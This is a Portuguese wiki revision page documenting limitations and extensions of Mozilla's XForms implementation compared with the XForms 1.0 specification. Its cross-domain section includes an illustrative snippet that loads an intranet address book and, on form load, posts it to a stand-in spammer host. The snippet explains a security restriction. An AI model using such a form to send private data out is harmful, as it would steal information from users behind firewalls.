Mozilla XForms Specials

  • Revision slug: XForms_especiais_para_Mozilla
  • Revision title: Mozilla XForms Specials
  • Revision id: 288914
  • Created:
  • Creator: Verruckt
  • Is current revision? Sim
  • コメント 104 words added, 103 words removed

Revision Content

Introdução

Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas.

Limitações

Repetição usando atributos

De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado.

(limitação acompanhada no {{ Bug(280368) }})

Mistura de Repetição e table ou ul

Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer o seguinte:

<table>
  <xf:repeat ...>
    <tr> ... </tr>
  </xf:repeat>
</table>

ou

<ul>
  <xf:repeat ...>
    <li> ... </li>
  </xf:repeat>
</ul>

Section 9.3.2 determina que a mistura com table provávelmente nunca funcionará. A mistura com ul pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}).

Suporte a pseudo classes

Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write.

(limitação acompanhada no {{ Bug(313111) }})

Suporte a pseudo elemento

Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais:

  • xf-value
  • xf-repeat-item
  • xf-repeat-index

Por exemplo, para direcionar o elemento valor de um controle input use:

@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}

Os pseudo elementos são definidos na CSS3 Especificação básica de usuário .

(limitação acompanhada no {{ Bug(271724) }})

Extensões

Enumerando Instâncias

O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments() ao model que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement.

Chegando ao elemento de instância a partir de um nó de dados

Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature() em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode é um nó num documento de instância, então:

instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

retornará elemento <instance> (no documento principal) ao que o nó pertence.

Chegando ao documento de instância através do elemento de instância

Pela especificação XForms 1.0 deve passar pelo elemento model para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance, então nós adicionamos uma função getInstanceDocument() diretamente no elemento instance como um atalho. Isso está documentado em nsIXFormsNSInstanceElement.

Interface de controle customizada

Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output, input, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados.

Miscelânea

Submissão de Domínio Cruzado

Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio whitelist pode ser encontrado em Release Notes

A checagem de domínio cruzado também inclui formulários carregados de file://. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um "whitelisting" de arquivos locais automático.

Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:

<xforms:model>
  <xforms:instance src="http://intranetserver/addrbook.xml"/>
  <xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/>
  <xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

Categorias

Interwiki Language Links

{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}

Revision Source

<p> </p>
<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o"> Introdução</h3>
<p>Este artigo fornece um resumo onde <i>Extensões Mozilla XForms </i> desvia <i>XForms 1.0 Especificação</i> oficial <a class="external" href="http://www.w3.org/TR/xforms">. Este artigo cobre tanto limitações nas extensões como extensões customizadas.
</a></p><a class="external" href="http://www.w3.org/TR/xforms">
<h3 id="Limita.C3.A7.C3.B5es" name="Limita.C3.A7.C3.B5es"> Limitações </h3>
<h4 id="Repeti.C3.A7.C3.A3o_usando_atributos" name="Repeti.C3.A7.C3.A3o_usando_atributos"> Repetição usando atributos </h4>
</a><p><a class="external" href="http://www.w3.org/TR/xforms">De acordo com a especificação </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Criando estruturas de repetição através de atributos"</a>, isto é <strong>parcialmente</strong> suportado.
</p><p>(limitação acompanhada no {{ Bug(280368) }})
</p>
<h4 id="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul" name="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul"> Mistura de Repetição e <code>table</code> ou <code>ul</code> </h4>
<p>Não é possível misturar repetições tanto com <code>table</code> ou <code>ul</code>. Isto significa que <strong>não</strong> é possível fazer o seguinte:
</p>
<div class="warning">
<pre>&lt;table&gt;
  &lt;xf:repeat ...&gt;
    &lt;tr&gt; ... &lt;/tr&gt;
  &lt;/xf:repeat&gt;
&lt;/table&gt;
</pre>
</div>
<p>ou
</p>
<div class="warning">
<pre>&lt;ul&gt;
  &lt;xf:repeat ...&gt;
    &lt;li&gt; ... &lt;/li&gt;
  &lt;/xf:repeat&gt;
&lt;/ul&gt;
</pre>
</div>
<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> determina que a mistura com <code>table</code> provávelmente nunca funcionará. A mistura com <code>ul</code> pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}).
</p>
<h4 id="Suporte_a_pseudo_classes" name="Suporte_a_pseudo_classes"> Suporte a pseudo classes </h4>
<p>Atualmente suportamos todas as pseudo classes em XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>exceto</b> para <code>:read-only</code> e <code>:read-write</code>, por causa de comportamento não especificado destes para (X)</a><a href="pt/HTML">HTML</a>. No momento precisa usar <code>:-moz-read-only</code> e <code>:-moz-read-write</code>.
</p><p>(limitação acompanhada no {{ Bug(313111) }})
</p>
<h4 id="Suporte_a_pseudo_elemento" name="Suporte_a_pseudo_elemento"> Suporte a pseudo elemento </h4>
<p><b>Não</b> existe suporte para os pseudo elementos (<code>::value, ::repeat-item, e ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Você deve usar as seguintes classes normais:
</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">
<ul><li> <code>xf-value</code>
</li><li> <code>xf-repeat-item</code>
</li><li> <code>xf-repeat-index</code>
</li></ul>
<p>Por exemplo, para direcionar o elemento valor de um controle <code>input</code> use:
</p>
<pre>@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}
</pre>
</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">Os pseudo elementos são definidos na <i></i></a><i><a href="pt/CSS">CSS</a>3 Especificação básica de usuário </i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">.
</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitação acompanhada no {{ Bug(271724) }})
</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">
<h3 id="Extens.C3.B5es" name="Extens.C3.B5es"> Extensões </h3>
<h4 id="Enumerando_Inst.C3.A2ncias" name="Enumerando_Inst.C3.A2ncias"> Enumerando Instâncias </h4>
</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">O </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No <i>Extensões Mozilla XForms</i> adicionamos a função <code>getInstanceDocuments()</code> ao <code>model</code> que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.
</p>
<h4 id="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados" name="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados"> Chegando ao elemento de instância a partir de um nó de dados </h4>
<p>Na especificação XForms 1.0 não existe caminho de chegar ao elemento <code>instance</code> desde um nó de dados de instância. Adicionamos uma função através de chamado <code>getFeature()</code> em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se <code>instanceNode</code> é um nó num documento de instância, então:
</p>
<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
</pre>
<p>retornará elemento <code>&lt;instance&gt;</code> (no documento principal) ao que o nó pertence.
</p>
<h4 id="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia" name="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia"> Chegando ao documento de instância através do elemento de instância </h4>
<p>Pela especificação XForms 1.0 deve passar pelo elemento <code>model</code> para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento <code>instance</code>, então nós adicionamos uma função <code>getInstanceDocument()</code> diretamente no elemento <code>instance</code> como um atalho. Isso está documentado em <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.
</p>
<h4 id="Interface_de_controle_customizada" name="Interface_de_controle_customizada"> Interface de controle customizada </h4>
<p>Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem <i>controles customizados</i>. Isto envolve a exposição de algumas funcionalidades (<i>script</i>) em todos nossos controles, como <code>output</code>, <code>input</code>, etc. e permitindo à interface de usuário ser representada em <a href="pt/XBL">XBL</a>. Mais informação pode ser encontrada em <a href="pt/Controles_Customizados">Controles Customizados</a>.
</p>
<h3 id="Misc" name="Misc">Miscelânea</h3>
<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Submissão de Domínio Cruzado</h4>
<p>Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio <u>whitelist</u> pode ser encontrado em <em>Release Notes</em> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12"></a></p>
<p>A checagem de domínio cruzado também inclui formulários carregados de <code><a class=" external" href="file://" rel="freelink">file://</a></code>. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um <u>"whitelisting"</u> de arquivos locais automático.</p>
<p>Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:</p>
<pre>&lt;xforms:model&gt;
  &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
  &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/&gt;
  &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
&lt;/xforms:model&gt;
</pre>
<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p>
<p><span class="comment">Categorias</span></p>
<p><span class="comment">Interwiki Language Links</span></p>
<p>{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}</p>
Revert to this revision